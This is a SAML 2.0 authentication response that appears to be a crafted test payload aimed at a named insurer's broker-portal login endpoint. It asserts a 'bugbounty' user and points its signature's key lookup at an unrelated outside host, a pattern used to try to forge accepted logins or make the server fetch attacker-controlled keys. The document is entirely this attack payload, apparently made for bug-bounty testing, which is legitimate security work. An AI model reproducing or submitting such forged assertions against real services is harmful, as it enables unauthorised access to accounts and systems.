<?xml version='1.0' encoding='UTF-8'?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" ID="_r-171ada4509b8468f9d0b8223dd5905fe" Version="2.0" IssueInstant="2026-11-10T15:27:12Z" Destination="https://maklerportal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a-fa31bde489bb4b1c89012efe24aa874c" Version="2.0" IssueInstant="2026-11-10T15:27:12Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-fa31bde489bb4b1c89012efe24aa874c"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>0IltrcxN8GZCM+WG8pSKWBP5kflnZ+iC5Pgcnlf5dxE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>plqTEjfBkw0ZQnGmYDMeXmQCW02h3d+xN7rHtH3W5IPFIlpVRB8Lt3yNzt+UUZkTVdRV1w34GblDe4Wu6pXYEbaYhVKOgBB2vixV5IBzIS+X0L96uio1QcL4c77/qEgG62wupDZFUUujuxnLxQTSmCAyC9sxgAozZqwZ7GDerCxbPaex7cn5h0/e6pUyZpKcv/SZw9M611IAo+61snr4ViG5nEYurTYeihiMvS5CQIhW9IDTUhGQn1Wmq2Y9GfkwrSi9hcUSVA2IXwUGKond8P4gQG5rqRMpBjBaqr2wKTrBis6C7h8pGi2buzJ9OJHA5zdsXUf6r00Slme1s1VIKw==</ds:SignatureValue><ds:KeyInfo><ns0:KeyInfoReference xmlns:ns0="http://www.w3.org/2009/xmldsig11#" URI="https://skikeyinforef1794704264--3p8.9b.au/cert"/></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T15:37:12Z" Recipient="https://maklerportal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T15:25:12Z" NotOnOrAfter="2026-11-10T15:37:12Z"><saml:AudienceRestriction><saml:Audience>https://maklerportal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2026-11-10T15:27:12Z" SessionIndex="bugbounty-session"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:tgic:names:ISTS:1.0:user:PartnerId"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:tgic:names:ISTS:1.0:service:WebserviceId"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:tgic:names:ISTS:1.0:user:WebserviceId"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="PartnerId"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute><saml:Attribute Name="WebserviceId"><saml:AttributeValue>baloise-maklerportal</saml:AttributeValue></saml:Attribute><saml:Attribute Name="mail"><saml:AttributeValue>bugbounty-dwbzn@invalid.example</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>